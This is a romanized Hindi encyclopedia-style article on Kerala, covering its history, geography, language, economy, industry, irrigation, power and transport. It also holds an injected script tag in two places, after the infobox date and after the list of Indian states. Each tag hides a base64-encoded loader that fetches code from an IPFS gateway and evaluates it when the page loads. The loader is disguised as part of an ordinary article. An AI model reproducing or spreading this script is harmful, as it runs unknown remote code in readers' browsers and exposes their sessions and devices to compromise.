केरल

chitr:Disamb2.jpg keral

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- keral (bahuvikalpi)

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keral
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rajadhani	tiruvanantapuram
rajabhasha(ean)	malayalam bhasha
sthapana	1 navanbar, 1956
janasankhya	3,33,87,677
· ghanatv	859 /varg kimi
kshetraphal	38,863 varg kimi
bhaugolik nirdeshaank	8.5074°N 76.972 °E
· grishm	36.7 °C
· sharad	19.8 °C
zile	14
mukhy paryatan sthal	kovalam, varakala, alappujha, bekkal, munnar, kannoor
liang anupat	1000:1,084 ♂/♀
saksharata	93.91 %
· stri	91.98%
· purush	96.02%
rajyapal	arif mohammad khan
mukhyamantri	pinaraee vijayan
lokasabha kshetr	20
rajyasabha sadasy	9
bahari k diyaan	adhikarik vebasait
adyatan‎	16:55, 9 joon 2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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keral ek bharatiy rajy, jo bharat ke dakshin-pashchim sima par sthit hai. isaki rajadhani tiruvanantapuram (trivendram) hai. keral ko 'bharat ka masaloan ka bagicha' kaha jata hai. yah malay parvat ki krod mean basa hua pradesh hai, jisamean bhootapoorv travanakor aur kochin ki riyasatean sammilit haian.

itihas

1. REDIRECTsaancha:mukhy

• keral ka ullekh mahabharat, sabhaparv mean is prakar hai-

"paandyaanshch dravidashchaiv sahitaanshchodr keralai:
aandhrastalavanaanshchaiv kalianganushtrakarnikanh."

• mahabharat sabhaparv 51 mean keral aur chol nareshoan dvara yudhishthir ko di gee chandan, aguru, moti, vaidoory tatha chitravichitr ratnoan ki bheant ka ullekh hai-

"chandanagaru chanantan muktavaidooryachitraka:
cholashch keralashchobhau dadatu: paandavay vai".

• keral tatha dakshin ke any pradeshoan ko sahadev ne apani digvijay yatra ke dauran jita tha.
• 'raghuvansh' mean kalidas ne keral ka ullekh is prakar kiya hai-

"bhayotsrishtavibhooshanaan ten keralayoshitamh
alakeshu chamoorenashchoornapratinidhi krit:"

arthath "digvijay ke lie nikali huee raghu ki senaoan ke keral pahuanchane par keral ki yuvatiyoan, jinhoanne bhay se sare vibhooshan tyag die the, ki alakoan mean sena ki u daee huee dhooli ne prasadhan ke choorn ka kam kiya.

• samrat ashok ke shilalekh 2 mean paandy, satiyaputr aur keral rajyoan ka ullekh hai. tamraparni nadi tak inaka vistar mana gaya hai.
• paravarti kal mean keral ko 'cher' bhi kaha jata tha, jo keral ka roopaantar matr hai.

keral ki mukhy nadiyaan 'murala', 'tamraparni', 'netravati' aur 'sarasvati' adi haian. itihasakar hemachandr rayachaudhari ke anusar u disa mean mahanadi ke tat par sthit vartaman sonapur ke pas ke pradesh ko bhi keral kahate the, kyoanki yahaan sthit 'yayati nagari' se keral yuvatiyoan ka sambandh dhoee kavi ne apane 'pavanadoot' namak kavy mean bataya hai; kiantu yah tathy sandehaspad hai.

rajy ka nirman

sh‍vatantr bharat mean jab chhoti-chhoti riyasatoan ka vilay hua, tab travanakor tatha kochin riyasatoan ko milakar 1 julaee, 1949 ko 'travanakor kochin' rajh‍y bana diya gaya, lekin malabar madras praant (vartaman chennee) ke adhin hi raha. 'rajh‍y punargathan adhiniyam', 1956 ke aantargat 'travanakor-kochin rajh‍y tatha malabar' ko milakar 1 navanbar, 1956 ko 'keral rajh‍y' ka nirman kiya gaya. hinduoan aur musalamanoan ke atirikt yahaan eesaee bhi b di sankhya mean rahate haian. is rajy ka kshetraphal 38863 varg ki.mi. hai.

bhaugolik sthiti

1. REDIRECTsaancha:mukhy

poorv mean ooanche pashchimi ghat aur pashchim mean arab sagar ke madhy mean sthit is pradesh ki chau daee 35 ki. mi. se 120 ki. mi.tak hai. bhaugolik drishti se keral parvatiy kshetroan, ghatiyoan, madhh‍yavarti maidanoan tatha samudr ka tatavarti kshetr haian. keral nadiyoan aur talaboan ke sambandh mean bahut hi samriddh hai. keral mean 44 nadiyaan bahati haian jinamean 41 nadiyaan pashchim ki or aur tin poorv ki or bahane vali nadiyaan haian. [[chitr:Neyyar-Dam-Thiruvananthapuram.jpg|thumb|250px|left|neyyar baandh, tiruanantapuram]] ye nadiyaan apani sahayak nadiyoan aur upadharaoan ke sath keral ki prakritik sanpada ko badhati haian. samudri jhilean keral ka mukhy akarshan haian. arthik drishti se bhi prakritik sansadhan bahut m‍hath‍vapoorn haian. uttari keral rajy ke ek aant:kshetr dakshin bharat mean mahi nagar sthit hai.

jalavayu

keral rajy mean garm mausam hai kyoanki yah bhoomadhyarekha se matr 8 digri ke aantaral par sthit hai. keral rajy ki jalavayu ki mukhy visheshata hai- shital mand hava aur bhari varsha. pashchimi manasoon se pramukh varsha kal prarambh hota hai. doosara varshakal uttari-pashchimi manasoon hai . pratyek varsh lagabhag 120 se lekar 140 din tak varsha hoti rahati hai . keral ki ausat varshik varsha 3017 mili mitar mani jati hai . keral mean bhari varsha se badh bhi ati haian jisase jan aur dhan ki bhi bahut hani hoti hai .

bhasha

1. REDIRECTsaancha:mukhy

yahaan ki mukhy bhasha malayalam hai. yahaan malayalam bhasha boli jati hai . apani sanskriti aur bhasha-vaishishty ke karan bharat ke dakshin mean sthit char rajyoan mean keral ka pramukh sthan hai . isake p dosi rajy tamilanadu aur karnatak haian. keral rajy mean aangrezi bhasha ko pramukh sthan prapt hai . malayalam bhasha ki bhaanti aangrezi bhasha bhi shiksha ka pramukh madhyam hai . tamil aur kann d bhashaoan ko alpasankhyak bhasha kaha jata hai. keral pradesh ki bhasha malayalam hai. malayalam dravi d parivar ki bhashaoan mean se ek hai. malayalam bhasha ki utpatti ke vishay mean anek mat haian- [[chitr:Houseboat-Kumarakom-Kerala.jpg|thumb|250px|hausabot, kumarakom, keral]]

1. ek mat hai ki kisi adi dravi d bhasha se vikasit hokar malayalam ek svatantr bhasha huee .
2. doosara mat hai ki malayalam tamil se utpann bhasha hai.

• sabhi vidvanh manate haian ki bhasha ke parivartan ke karan malayalam bhasha ka uday hua. tamil aur sanskrit donoan hi bhashaoan ke sath malayalam ka bahut hi gahan sambandh hai. sahityik bhasha ke roop mean malayalam bhasha ka vikas 13 vian shatabdi se hi prarambh hua. 13 vian shatabdi mean likhit 'ramacharitamh' ko malayalam bhasha ka adi kavy mana jata hai .

arthavyavastha

1. REDIRECTsaancha:mukhy

bhaugolik aur bhaugarbhik karak keral ki arthavyavastha ko ganbhir roop se prabhavit karate haian. yahaan ki saghan abadi ke lie upalabdh krishi yogy bhoomi kafi nahian hai. is rajy mean jivashm eedhanoan aur khanijoan ke pramukh bhandaroan ki bhi kami hai. [[chitr:Vizhinjam-Port-Site.jpg|thumb|250px|left|vaijinajam, tiruanantapuram]] yahaan sirph ilmenait (taiteniyam ka pramukh ayask), rayootail (taiteniyam aauksaid), monajait (siriyam aur thoriyam phasphet yukt khanij) haian, jo samudr tat ki ret mean pae jate haian. keral mean jalavidyut ki kafi sanbhavanaean haian. idukki k aaumpaleks vishalatam vidyut utpadan sanyantr hai.

krishi

1. REDIRECTsaancha:mukhy

keral rajy mean krishi ki visheshata hai ki yahaan vh‍yaparik fasalean adhik ugaee jati haian. rajh‍y ke lagabhag 50 pratishat nagarik krishi par nirbhar hai. nariyal, rabad, kali mirch, adarak, chay, ilayachi, kajoo tatha k aauphi adi ka utpadan keral mean pramukh roop se hota hai. doosari fasaloan mean supari, kela, adarak tatha halh‍di adi haian. keral rajh‍y mean jayaphal, dalachini, lauang adi masaloan ke vriksh bhi ugae jate haian. chaval tatha taipiyoka keral ki mukhh‍y khady fasalean haian.

krishi utpadan aank de

dekhean:bharat ek jhalak

telangana aandhr pradesh arunachal pradesh asam bihar chhattisagadh rashtriy rajadhani kshetr dilli gova gujarat hariyana himachal pradesh jammoo aur kashmir jharakhand karnatak keral madhy pradesh maharashtr manipur meghalay mizoram nagalaiand u disa panjab rajasthan sikkim tamilanadu tripura uttarakhand uttar pradesh pashchim bangal aandaman evan nikobar dvipasamooh chanh‍digadh dadara tatha nagar haveli daman aur div lakshadvip puducheri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• athavian panchavarshiy yojana mean chaval ke kshetr mean varshik kami 22,000 hekh‍teyar thi.
• nauvian yojana mean yah ghatakar 13000 hekh‍teyar rah gee.
• 2003 - 04 ke 2.87 lakh hekh‍teyar ki tulana mean yah badhakar 2004 - 05 mean 2.90 lakh hekh‍teyar ho gee. yah vridvi 2,634 hekh‍teyar thi. chaval ka uth‍padan 5.70 mitrik tan se badhakar 6.67 lakh tan ho gaya. yah vriddhi 17 pratishat thi.
• sookhe ki vajah se dhan uth‍padan mean 2003 se 2004 mean kami aee kiantu 2004 se 05 mean uth‍padan mean vridvi huee. 2004 se 05 mean chaval ke uth‍padan mean vriddhi alh‍lapujh‍ja (75 pratishat), palakh‍kad (37 pratishat) mean darj ki gee.
• ay aur rozagar mean nariyal keral ki gramin arthavyavash‍tha ka mukhh‍y adhar hai. nariyal ka fasal kshetr nau lakh hekh‍teyar tak hai, jo kul fasal kshetr ka lagabhag 41 pratishat hai. keral mean nariyal 35 lakh logoan ki ay ka sadhan hai.
• mukhh‍y niryat kali mirch ka hai jisamean keral anh‍y rajh‍yoan mean sadaiv se hi sarvashreshh‍th hai. desh bhar mean kali mirch ke uth‍padan ka 98 pratishat keral mean hota hai aur is prakar kali mirch ke kshetr mean keral ka ekadhikar bana hua hai.
• keral ki arthvyavastha mean chay bagani fasaloan, rabad, k aauphi, chay aur ilayachi ka vishesh yogadan hai. in char fasaloan ki lagabhag 6.53 lakh hekh‍teyar mean kheti hoti hai. yah rajh‍y ke kul krishi kshetr ka 29 pratishat hai aur rajh‍y mean in fasaloan ke adhin kshetr ka 43 pratishat hai.

[[chitr:Houseboat-Kumarakom-Kerala-2.jpg|thumb|250px|left|hausabot, kumarakom, keral]]

• keral mean kul rab d kshetr (desh bhar) ka 83 pratishat kshetr hai. varsh 2004 - 05 mean rab d ka kul fasal kshetr lagabhag 4.81 lakh hekh‍teyar tha, jo pichhale varsh se 2141 hekh‍teyar adhik raha. keral mean rab d ka uth‍padan 6.91 lakh tan raha jo pichhale varsh se 5 pratishat adhik tha. uth‍padakata mean vriddhi 2004 - 05 mean bhi bani rahi.
• varsh 2004 - 05 mean desh mean k aauphi ka uth‍padan kshetr 3.28 lakh hekh‍teyar tha jisamean se 0.846 lakh hekh‍teyar keral mean hai jo kul kshetr ka 26 pratishat hai. varsh 2004 - 05 mean keral ki hish‍sedari 19.7 pratishat rahi. desh ke kul 2.75 lakh mitrik tan k aauphi uth‍padan ke muqabale keral ka uth‍padan 0.54 lakh mitrik tan tha, desh mean 5.11 lakh hekh‍teyar kshetraphal mean chay ke kul baganoan ki tulana mean keral mean keval 0.37 lakh hekh‍teyar kshetr mean chay ki kheti ki gee. chay uth‍padan mean keral ki hish‍sedari 2004 mean pichhale varsh ke 7 pratishat se girakar 6 pratishat rah gee. pichhale tin varshoan se uth‍padan mean giravat chal rahi hai. b di kanpaniyoan ke chay baganoan mean sangathit kshetr ke 84,000 se jh‍yada mazadoor kam karate haian.
• ilayachi ek anh‍y bagani fasal hai jisaka uth‍padan 2004 - 05 mean 28 pratishat se badhakar 76 pratishat ho gaya.

udyog

1. REDIRECTsaancha:mukhy

keral mean audyogik vikas ki apar sanbhavanaean hai. yahaan par panabijali, ghane van, durlabh khanij, parivahan aur achchhi sanchar pranali, sabhi buniyadi suvidhaean upalabh‍dh haian. yahaan ke paranparagat udyog haian- hathakaragha, kajoo, nariyal jata tatha hash‍tashilh‍p. anh‍y mahath‍vapoorn udyogoan mean rabad, chay, chini mitti ke bartan, bijali tatha ilekh‍tr aaunik upakaran, telifon ke tar, traansapharmar, eeant aur tails, aushadhiyaan aur rasayan, samanh‍y ianjiniyari vash‍tuean, ph‍laeevud, rangarogan, bi di aur sigar, sabun, tel, urvarak tatha khadi aur gramodyog uth‍pad shamil haian. isake alava mahin upakaran, mashini auzar, petroliyam padarth, peant, lugadi, kagaz, akhabari kagaz, kaanch tatha alauh dhatuoan ke uth‍padan ke lie rajh‍y mean kee karakhane haian. niryat ki jane vali vash‍tuoan mean pramukh haian- kajoo, chay, masale, leman gras aauyal, samudri khady uth‍pad, shisham aur nariyal resha. rajh‍y mean ilh‍menait, ratal, monajait, jirakon, silimenait, chikani mitti tatha sh‍phatik yukh‍t baloo jaise mahath‍vapoorn khanij bhi prachur matra mean pae jate haian. lagabhag sabhi mukhh‍y uth‍padoan mean audyogik niryat mean lagatar vriddhi huee hai.- [[chitr:Muzhappilangad-Beach-Kannur.jpg|thumb|250px|left|mujupilangad bich, kannoor]]

• s aauphtaveyar ka niryat 2003 - 04 ke dauran 240 karo d rupe ka tha, jo 2004 - 05 mean 400 karo d rupe ka ho gaya. yah vriddhi 66 pratishat thi. 2004 - 05 mean nipatare ke lie 2658 audyogik vivad the jo 2003 - 04 ki tulana mean kafi kam the. isi tarah 2004 - 05 mean h datalean aur talabandi bhi 2003-04 ki tulana mean kam rahe.
• 31 march 2005 tak keral mean 14655 j aauiant sh‍t aauk kanpaniyaan thian jinamean se 13210 praivet limited aur 1445 pablik limited thi. keral mean sarvadhik sankhh‍ya mean sarvajanik kshetr ke upakram haian (1071 mean se 113) jinamean 115697 logoan ko rozagar mila hua hai. inamean se 63 upakramoan mean ianjiniyariang, bijali ka saman, vash‍tr, ilekh‍tr aaunik, chin-mitti, krishi tatha lak di ke saman ka kam kiya jata hai.
• keral sarakar audyogik ikaiyoan ko vittiy sahayata aur prashikshan / paramarsh sevaean pradan karati hai. audyogik proth‍sahan ke kary mean lagi mahath‍vapoorn ejeansiyaan aur vibhag haian- ke. eph. si., ke. es. aee. di. si., sidabi kinaphara, udyog aur vanijh‍y nideshalay, es.aee.di.si., es.aee.es.aee., kitako aur si.em.di..
• udyog aur vanijh‍y nideshalay bhoomi adhigrahan karake, use vikasit karake, s dak, jalapoorti, bijali tatha avashh‍yak imaratean banakar, sari suvidhaean laghu udyogoan ko upalabh‍dh karata hai. laghu udyog vikas nigam apani b di audyogik sanpadaoan v laghu audyogik sanpadaoan ke jarie laghu udyogoan ko mool sanrachanath‍mak suvidhaean upalabh‍dh karata hai.
• niryat sanvarddhan ke lie mukhh‍yat: vishesh dhyan arthik kshetr par diya ja raha hai. is yojana ka uddeshh‍y niryat ke lie mukh‍t vatavaran aur aantararashh‍triy sh‍tar ka pratish‍pardhi mahaul upalabh‍dh karane ke lie vishesh arthik kshetr sh‍thapit karana hai.
• kochchi mean tin vishesh arthik kshetr haian-

1. kalamasari ke kinaphara mean ilekh‍tranik park,
2. kochin vishesh arthik kshetr,
3. bandaragah adharit vishesh arthik kshetr.

[[chitr:Fort-Cochin-Kochi.jpg|thumb|250px|fort kochin, kochchi]]

• isake alava anh‍y haian -

1. malh‍lapuram phood park,
2. taikh‍nopark,
3. tiruvanantapuram mean ep‍ral park, philh‍m aur vidiyo park, enimeshan vishesh arthik kshetr.

• bharatiy arthavh‍yavash‍tha mean laghu udyog ek bahut gatishil aur jivant kshetr hai. 31 march 2005 tak keral mean 2,80,584 laghu audyogik ikaiyaan panjikrit thian jisamean 4230.03 karo d rupe ka nivesh tha aur 12,60,007 logoan ko rozagar mila tha. 2004 - 05 mean 4935 ikaiyaan panjikrit hueean jinamean 198.63 karo d rupe ka nivesh hua hai aur 22585 log kam kar rahe haian.
• keral sarakar ne 'zila audyogik keandroan' ke madyam se 'prath‍yasha' shirshak ke aantargat keral sh‍thaniy udyog sanvarddhan karyakram prarambh kiya hai. is yojana ka uddeshh‍y 25,00 laghu udyog sh‍thapit karana hai jinamean varsh 2005 - 06 mean 1,00,000 logoan ko rozagar milega.

audyogikikaran

adhikaansh abadi audyogikikaran se aprabhavit hai. berozagari ki samasya ganbhir hai aur berozagar logoan mean shiksha ka uchch star is samasya ko aur ganbhir bana deta hai. adhikaansh shramik paranparik, kam mazadoori vale kutir udyogoan, jaise nariyal ke reshoan aur kajoo prasanskaran ya bunaee mean sanlagn haian. keral ke ek-chauthaee se adhik shramik seva-kshetr mean hai. khady prasanskaran, audyogik rozagar ka sabase b da sadhan hai. any utpadoan mean urvarak, rasayan, bijali ke upakaran, taiteniyam, ailuminiyam, plaivud, chini mitti ke bartan aur kritrim reshe shamil haian.

soochana praudyogiki

thumb|350px|ernakulam rashtriy udyan soochana praudyogiki aur isaka adhikadhik upayog karane ki kshamata ek mahath‍vapoorn pahaloo hai. keral sarakar ne rajh‍y mean soochana praudyogiki ke vikas ke lie anek qadam uthae haian. jinamean se pramukh haian-

1. tekh‍nopark, tiruvanantapuram. yah bharat ka pahala aantararashh‍triy sh‍tar ka soochana praudyogiki keandr hai.
2. kochchi mean kinaphara sthit soochana praudyogiki park,
3. keral soochana praudyogiki mishan ka akshay karyakram
4. rajh‍y sarakar ki ee-shasan pahal, jaise - phraiands

• tekh‍nopark ki samanvit soochana ke sath praudyogiki vatavaran ke roop ki avadharana ki gee hai jisamean udyog ki avashh‍yakata ki sabhi moolabhoot aur adhunik suvidhaean upalabadh haian. sarakar ne is parisar ko sabhi vh‍yavadhanoan se mukh‍t kar diya hai, keval bijali ki suraksha ke lie mukhh‍y vidyut nirikshak se pramanapatr lena hota hai. bharat sarakar ki adhikaansh sh‍vikritiyoan ke lie tekh‍nopark ekamatr sanpark ki bhoomika nibhata hai. tekh‍nopark ne 2004 mean soochana praudyogiki parisar ke lie mool sanrachanath‍mak aur anh‍y sevaoan ke srijan aur vipanan ki achh‍chhi pranali qayam karane aur usake rakh-rakhav ke lie pramanapatr praph‍t kiya. tekh‍nopark aisi pahali seva sansh‍tha hai jise 2004 mean amerika ki 'karanegi mailh‍tan yoonivarsiti' se si.em.em.aee. leval 4 pramanapatr mila.

left|thumb|250px|keral ka ek drishy

• vartaman samay mean is parisar mean 84 aantarrashh‍triy aur sh‍vadeshi kanpaniyaan haian, jinamean 634.25 karo d rupe ka nivesh hai. pichhale varsh tekh‍nopark se 350 karo d rupe ka niryat hua. 2004-05 mean parisar ke vish‍tar ke lie aur bhoomi adhigrahit ki gee. 86 ek d bhoomi adhigrahit ki gee aur is par kabh‍za liya ja raha hai. keandr sarakar ne is ne parisar (86 ek d) ko vishesh arthik kshetr ghoshit kiya hai.
• kochchi mean 92 ek d ke kshetraphal mean ek ianpho park hai jisamean 3.5 lakh varg phit ka nirmit hish‍sa hai. b di kanpaniyoan jaise vipro, o.pi.aee, e.si.es., aee.bi.es. aur ti.si.es ne ianpho park mean kary aranbh kar diya hai. yahaan ianpho park suvidhaoan mean 1400 karmachari karyarat haian. kanpani ka kul nivesh 80.43 karo d ru. hai. ianpho park kanpaniyoan ka kul niryat 32 karo d ru hai.
• keral ko ee-shasan ke mamale mean bharat ka doosara sarvashreshh‍th rajh‍y hone ka gaurav praph‍t hai. phraiands (phash‍t rilayabil iansh‍taiant ephishieant netavark phar dish‍barsameant sarvis) ek hi sh‍than par nipatan pranali hai jahaan nagarik sabhi kar aur anh‍y vittiy dey sarakar ko dete haian.
• agash‍t 2004 mean malh‍lapuram zile mean 'phraiands pariyojana' ke vish‍tar ke roop mean akshay ee-keandroan ke madhyam se keral sarakar ne biloan ke bhugatan ki suvidha shuroo ki hai.
• desh mean apani tarah ka pahala k aaul seantar rajh‍y ki rajadhani mean sh‍thapit kiya gaya hai. isase am nagarik telifon ke madhyam se vibhinh‍n sarakari vibhagoan mean hue len-den ke bare mean jnan praph‍t kar sakeange.

sianchaee

[[chitr:Chirayinkeezhu-Thiruvananthapuram.jpg|thumb|250px|chirayinakizoo, tiruanantapuram]]

• keral bhi jalapoorti ke lie bhootal jal sianchaee pranali par nirbhar hai, jo guruth‍vakarshan bal ke dvara sanchalit hoti hai. bahut b da bhookhand b di aur manjholi sianchaee pariyojanaoan ke lie niyat hai. march 2005 tak kul 3572.40 karo d ke nivesh mean se 2,462.51 karo d rupe ka nivesh (69 pratishat) b di aur manjholi sianchaee pariyojanaoan ke lie tha.
• keral mean sianchaee vh‍yavash‍tha b di, manjholi aur laghu sianchaee pariyojanaoan ka bhoojal vikas karyakramoan ke madhh‍yam se hoti hai. poori ki gee pramukh pariyojanaean- malamapoojaha, chalakuddi, pichi, panpa, periyar, chittoorapooja, kuttiyadi, neyyar aur chimh‍mani, pajhari, kaanjarapooja tatha kalh‍lad haian. pothu di, gayatri, valayar vazani, mangalam aur chira kujhi manjholi pariyojanaean haian. char b di pariyojanaoan- muvattupooja, idamalayar, karapooza tatha kutiyar kutti - karapara tatha karapooja tatha vanasur sagar, tirathala mean pul tatha jal niyamak tatha chamaravattom mean manjholi yojanaoan par kam chal raha hai.

[[chitr:Lighthouse-Beach-Kovalam.jpg|thumb|250px|left|lait haus, kovalam tat]]

• dasavian yojana mean sianchaee par nivesh 930 karo d rupe nirdharit tha. isamean se pramukh nivesh b di tatha madhh‍yam sianchaee yojanaoan par 600 karo d rupe tatha usake bad laghu sianchaee yojanaoan par 205 karo d rupe tatha badh niyantran aur samudr ksharan avarodhi yojanaoan par 50 karo d rupe nirdharit kie ge. pahale tin varshoan mean 435.95 karo d rupe bajat mean avantit the aur 494.63 karo d rupe vh‍yay hue. isamean se adhikaansh b di aur manjholi sianchaee ke lie tha.
• 'kamaand kshetr vikas karyakram' mukhh‍y roop se is uddeshh‍y se shuroo kiya gaya tha ki arjit sianchaee kshamata aur upayog mean laee gee kshamata ke aantaral ko kam kiya ja sake. 2003 - 04 mean karyakram ki punarrachana ki gee aur ise ek naya nam diya gaya - 'kaman kshetr vikas aur jal prabandhan karyakram'.
• kamaand kshetr vikas karyakram pradhikaran ka mukhh‍y kary naliyaan, nale banavana aur ba dabandi lagoo karana hai. pradhikaran ki pramukh gati‍vidhiyaan 16 poori ho chuki sianchaee pariyojanoan mean huee, jaise- 2.03 lakh hekh‍teyar ke kul kshetraphal mean malamapujha, mangalam, pothuandi, valayar, chirakujhi, vajhani, pichi, chalakudi, naiyar, gayatri, panpa, periyar ghati, chittarapujha, kuttiyadi, pajhachi aur kaanjirapujha. kamaand kshetr vikas ke karyakram bharat sarakar ki vittiy sahayata se chalae jate haian. *2004-05 ki upalabdhiyoan mean 1998 hekh‍teyar mean naharean, 6156 hekh‍teyar kshetr ke lie naliyaan, 10 hekh‍teyar mean is pranali ki parakh karana tatha 2302 hekh‍teyar mean 83 prashikshan karyakram ayojit karana shamil hai. pani ko, roke ge kshetroan ke pun: uddhar ke lie 1033 hekh‍teyar sanchit jal ko upayogi banaya gaya aur 3 moolh‍yaankan riport prakashit ki geean.

bijali

keral mean pichhale do dashakoan se vidyut pranali mean ulh‍lekhaniy pragati huee hai. vikas ke aranbhik charanoan mean rajh‍y ki panabijali kshamata par dhh‍yan keandrit kiya gaya. keral vidyut pranali mean 30 bijali uth‍padan keandr hai, jinamean se 24 megavat panabijali ki, 5 tapabijali ke aur 1 pavanachakh‍ki hai. inamean se bhi keral rajh‍y vidyut bord ke pas 24 panabijali, do tapabijali aur 1 pavanachakh‍ki hai. [[chitr:Napier-Museum-Thiruvananthapuram.jpg|thumb|250px|nepiyar sangrahalay, tiruanantapuram]] 31.3.05 tak keral mean kul sh‍thapit kshamata 2,671.22 megavat thi, jisamean se keral rajh‍y vidyut bord ki 1,820.60 megavat panabijali ki, kojhikod ki 2.0 megavat pavan chakh‍ki ki aur 234.60 megavat tapabijali sanyantroan ki thi. malanakara panabijali pariyojana 23 akh‍toobar 2005 ko shuroo ki gee, jisase sh‍thapit kshamata mean 10.5 megav aaut ki vriddhi huee.

maikro-jalavidyut karyakram ke tahat bahut chhoti panabijali pariyojanaoan ko do zila panchayatoan-kasaragod mean kamh‍madi aur kojhikod zile mean chakrakuandu mean lagoo karane ka kam e.en.ee.ar.ti. ne apane hath mean liya hai. yoonido ne bijali prabandhan keandr mean laghu panabijali ka ek kshetriy keandr sh‍thapit kiya hai. keandr ne rajh‍y mean 30 chhoti panabijali pariyojanaoan ke bare mean vish‍trit pariyojana riport taiyar ki hai. inamean se 13 chhoti panabijali pariyojanaean pratibandhit bijali pariyojanaoan tatha sh‍vatantr bijali pariyojanaoan ke aantargat nivedakoan ko boot adhar par avantit ki gee haian. 100 kilov aaut ki chhoti bijali yojanaoan mean se pahali idukh‍ki zile ke manikulam mean chaloo ho gee hai. rashh‍triy pavan oorja sansadhan akalan ke aantargat adhh‍yayan ke lie do kshetroan - kasaragod mean pasavaee kuanb tatha idukh‍ki zile mean kalh‍yanathaandu ko chuna gaya hai.

bharat sarakar dvara shuroo ki gee 'rajiv gaandhi gramin vidyutikaran yojana' ke pariprekshh‍y mean keral ke 14 ziloan ke 9.30 gaanvoan ke 3578 gharoan ko bijali pahuanchane ke lie 348.79 karo d rupe ke parivh‍yay ka prash‍tav bharat sarakar ko prash‍tut kiya gaya. bharat sarakar ne pahale charan ke lie 221.75 karo d rupe ki sh‍vikriti di, jisamean sat ziloan mean bijali pahuanchane ka kam hoga. ye zile hai- kasaragau d vayanad, kanh‍noor, kojhikod, malaph‍puram, idukh‍ki aur palakh‍k d.

parivahan

1. REDIRECTsaancha:mukhy

nam	lamh‍baee (ki.mi)
en.ech. 17 – rashh‍triy rajamarg	420.777
en.ech. 47 – valayar kalimakavila	416.800
en.ech. 47 A – vailiangatan dvip se kochchi baeepas	5.920
en.ech. 49 – bodimettoo muvath‍tapujha kochchi	167.593
en.ech. 208 – kolh‍lam ayanikavoo muvath‍tapujha	81.280
en.ech. 212 – kojhikod kalh‍legad	117.600
en.ech. 213 – kojhikod kalapalakh‍kad	125.300
en.ech. 220 –kolh‍lam kottayam kumini	190.300

• keral rajh‍y ki yatayat pranali mean 1.61 lakh ki.mi. sadakean,
• 1,148 ki.mi. rel lainean,
• 1,687 ki.mi. jalamarg aur *18 havaee addoan ke 111 sh‍techoo mil vayumarg haian.

keral mean suvikasit s dak aur rel pranaliyaan haian. yah rashtriy rajamargoan dvara tamilanadu aur karnatak rajyoan se ju da hua hai. poorv ki aur palaghat darrean se hokar ane vala relamarg rajy mean uttar se dakshin ki or bharat ke sudoor dakshini shahar kanyakumari jane vale relamarg se milata hai. yahaan ke tin pramukh bandaragah-koshikod, kochchi-ernakul aur alappusha se tatiy aur videshi jahajoan ka avagaman hota hai. kochchi-ernakulam mean ek pramukh potasthal aur telashodhan sanyantr bhi hai aur yah bharatiy tatarakshak aur nausena kaman ka mukhayalay bhi hai. bandaragahoan se bhari saman lane v le jane ke lie 1,770 kimi lanbe aantardeshiy jalamargoan ka istemal hota hai. tiruvanantapuram mean ek aantarrashtriy havaee adda aur koshikod aur kochchi mean ghareloo u danoan ke lie havaee adde haian.

s dakean

keral desh ka pahala rajh‍y hai jahaan isake dooradaraz ke gaanvoan tak shat pratishat s dakean maujood haian. rajh‍y s dakoan ki kul lanbaee 138196.471 ki.mi. hai, jisamean se 21467.492 ki.mi. lok nirman vibhag ke pas, 1523.954 ki.mi. rashh‍triy rajamarg ke pas aur 95515.888 ki.mi. panchayat ke adhin hai.

keral mean rashh‍triy rajamarg

• keral rajh‍y parivahan pariyojana ne joon 2002 mean vishh‍v baiank ki sahayata se 584 ki. mi. lanbi vidyaman s dakoan ko sudharane tatha chauda karane, 993 ki. mi. s dakoan ki bhari maramh‍mat karane tatha 150 ki. mi. ke nishh‍padan se sanbandhit rakharakhav ke lie karyakram aranbh kiya hai. isamean 93 kilomitar lanbi aantarvarti jal nahar ki yojana bhi shamil hai.

[[chitr:Payyambalam-Beach-Kannur.jpg||thumb|250px|left|payamaballam bich, kannoor]]

relave

rajh‍y mean 1,148 kilomitar lanbi rel lainoan ke aantargat 13 relave marg haian. b di rel lain 1,053.86 kilomitar or chhoti lain 94;14 kilomitar lanbi hai.

uddayan

rajh‍y mean tin pramukh havaee adde 'tiroovanantapuram', 'kochchi' (neduanbaseri) aur 'kojhikod' mean haian. unamean se pratham do aantarrashh‍triy havaee adde haian.

bandaragah

• 585 ki. mi; lanbi tatavarti pankti mean keral mean ek b da bandagah kochchi mean hai aur 17 chhote madhh‍yavarti bandaragah hai.
• pradhanamantri ne 16.12.2005 ko valh‍larapadam aantarrashh‍triy malavahak pot tarminal ka shilanh‍yas kiya. isake poora ho jane par kochchi bandaragah hiand mahasagar ka ek vishal bandaragah ban jaega.

aaunalain sarakari ee-taiksi seva

keral paryatan mean ab ek aur bhag ju d gaya hai. keral ke mukhyamantri pinaraee vijayan ne 'keral savari' nam ki aaunalain ee-taiksi seva aip l aaunch kar di hai, jo poore bharat ki pahali sarakari aaunalain taiksi seva hai. isase pahale ab tak kisi bhi rajy ne is prakar ki pahal nahian ki thi. is aip ke l aaunch iveant mean aauto riksha ko bhi mukhyamantri ne hari jhandi dikhakar ravana kiya, jo rajy ke shram vibhag dvara shuroo ki gee nee aaunalain taiksi hayariang seva ke tahat kam karega. is pahal se keral ke log kam paisoan mean surakshit tarike se yatra kar sakeange aur isase kisi prakar ke vivad ki bhi ashanka nahian hai. is aaunalain taiksi seva se kee motar parivahan karmachariyoan ko naukari mil sakegi jo aaunalain taiksi sevaoan ke chalate berojagar ho ge the. isake lie keral motar traansaport varkars velapheyar phand bord karyanvayan ejeansi ligal metrol aauji, traansaport, aeeti, pulis adi vibhagoan ke sahayog se kam karegi.

